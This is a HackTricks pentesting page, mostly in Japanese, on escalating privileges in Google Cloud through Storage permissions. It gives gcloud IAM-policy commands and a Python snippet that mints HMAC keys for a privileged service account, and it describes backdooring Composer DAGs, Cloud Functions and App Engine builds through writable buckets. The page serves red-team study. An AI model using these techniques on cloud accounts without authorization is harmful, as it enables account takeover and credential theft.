GCP - Storage Privesc

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

Storage

Basic Information:

GCP - Storage Enum

storage.objects.get

この権限は、Cloud Storage 内に保存されたファイルを download することを許可します。これは、場合によっては権限昇格を引き起こす可能性があります。なぜなら、機密情報がそこに保存されていることがあるためです。さらに、一部の GCP サービスは情報を buckets に保存します：

  • GCP Composer: Composer Environment を作成すると、code of all the DAGs が bucket 内に保存されます。これらのタスクの code 内に興味深い情報が含まれていることがあります。
  • GCR (Container Registry): コンテナの image は buckets 内に保存されます。つまり、もし buckets を読み取れるなら image を download して、search for leaks and/or source code できます。

storage.objects.setIamPolicy

この権限があれば、このセクションで挙げた前述のシナリオを悪用することが可能になります。

# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

storage.buckets.setIamPolicy

この権限を使って permissions を変更する方法の例については、このページを参照してください:

# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

GCP - Public Buckets Privilege Escalation

storage.hmacKeys.create

Cloud Storage の “interoperability” 機能は、AWS S3 のような cross-cloud interactions を想定して設計されており、Service Accounts やユーザー向けの creation of HMAC keys for Service Accounts and users を伴います。攻撃者はこれを悪用して、generating an HMAC key for a Service Account with elevated privileges を行い、Cloud Storage 内で escalating privileges within Cloud Storage することができます。ユーザーに紐付く HMAC keys は web console を通じてのみ取得可能ですが、access and secret keys は perpetually accessible なままであり、バックアップとして保存される可能性があります。一方で Service Account に紐付く HMAC keys は API からアクセス可能ですが、作成後に access and secret keys を取得することはできないため、継続的なアクセス確保はより複雑になります。

# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true

Another exploit script for this method can be found here.

storage.objects.create, storage.objects.delete = Storage Write permissions

バケット内に新しいオブジェクトを作成するには storage.objects.create が必要で、the docs によれば既存のオブジェクトを変更するには storage.objects.delete も必要です。

クラウド上で書き込み可能なバケットに対する非常に一般的な悪用は、バケットがウェブサーバーのファイルを保存している場合で、ウェブアプリケーションによって使用される新しいコードを保存できる可能性がある、というものです。

Composer

Composer は GCP 内で管理されている Apache Airflow です。いくつか興味深い特徴があります:

  • これは GKE cluster 内で実行されるため、クラスタが使用する SA は Composer 内で実行されるコードからアクセス可能です。
  • composer 環境の全コンポーネント（DAGs のコード, プラグイン, データ）は GCP バケット内に保存されます。攻撃者がそのバケットに対して読み取りと書き込みの権限を持っている場合、バケットを監視してDAG が作成または更新されるたびにバックドア入りのバージョンを提出し、composer 環境がストレージからバックドア入りのバージョンを取得するようにできます。

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs

Cloud Functions

  • Cloud Functions のコードは Storage に保存され、新しいバージョンが作成されるたびにコードがバケットにプッシュされ、そのコードから新しいコンテナがビルドされます。したがって、新しいバージョンがビルドされる前にコードを上書きすることで cloud function に任意のコードを実行させることが可能です。

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions

App Engine

AppEngine バージョンは staging.<project-id>.appspot.com という形式のバケット内にいくつかのデータを生成します。このバケット内には ae というフォルダがあり、AppEngine アプリの各バージョンごとのフォルダが含まれ、これらのフォルダ内で manifest.json ファイルを見つけることができます。このファイルは特定のバージョンを作成するために使用されるすべてのファイルを列挙した JSON を含みます。さらに、ファイルの実際の名前、GCP バケット内での URL（バケット内のファイルは sha1 ハッシュに名前が変更されている）、および各ファイルの sha1 ハッシュを確認できます。

Note that it’s not possible to pre-takeover this bucket because GCP users aren’t authorized to generate buckets using the domain name appspot.com.

しかし、このバケットに対して読み取りおよび書き込みアクセスがあると、バケットを監視し、変更（新しいバージョン）が行われるたびに可能な限り速やかに新バージョンを改変することで、App Engine バージョンに紐づく SA への権限昇格が可能です。こうして、そのコードから作成されるコンテナはバックドア入りのコードを実行します。

前述の攻撃はさまざまな方法で実行できますが、いずれも staging.<project-id>.appspot.com バケットの監視から始まります:

  • AppEngine バージョンの完全な新しいコードを別の利用可能なバケットにアップロードし、新しいバケット名とそれらの sha1 ハッシュを含む manifest.json ファイルを用意します。そうして、バケット内で新しいバージョンが作成されたときに manifest.json を変更して悪意あるものをアップロードします。
  • 悪意ある依存コード を使用するように変更した requirements.txt をアップロードし、manifest.json を新しいファイル名、URL、およびそのハッシュで更新します。
  • 悪意あるコードを実行するように変更した main.py または app.yaml をアップロードし、manifest.json を新しいファイル名、URL、およびそのハッシュで更新します。

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-AppEngine

GCR

  • Google Container Registry はイメージをバケット内に保存します。これらのバケットに書き込みできる場合、これらのバケットが実行されている場所へ**横移動（lateral movement）**できる可能性があります。
  • GCR が使用するバケットは gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com のような URL になります（トップレベルのサブドメインは here に記載されています）。

Tip

このサービスは非推奨になっているため、この攻撃はもはや有効ではありません。さらに、このサービスの代替である Artifact Registry はイメージをバケットに保存しません。

References

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする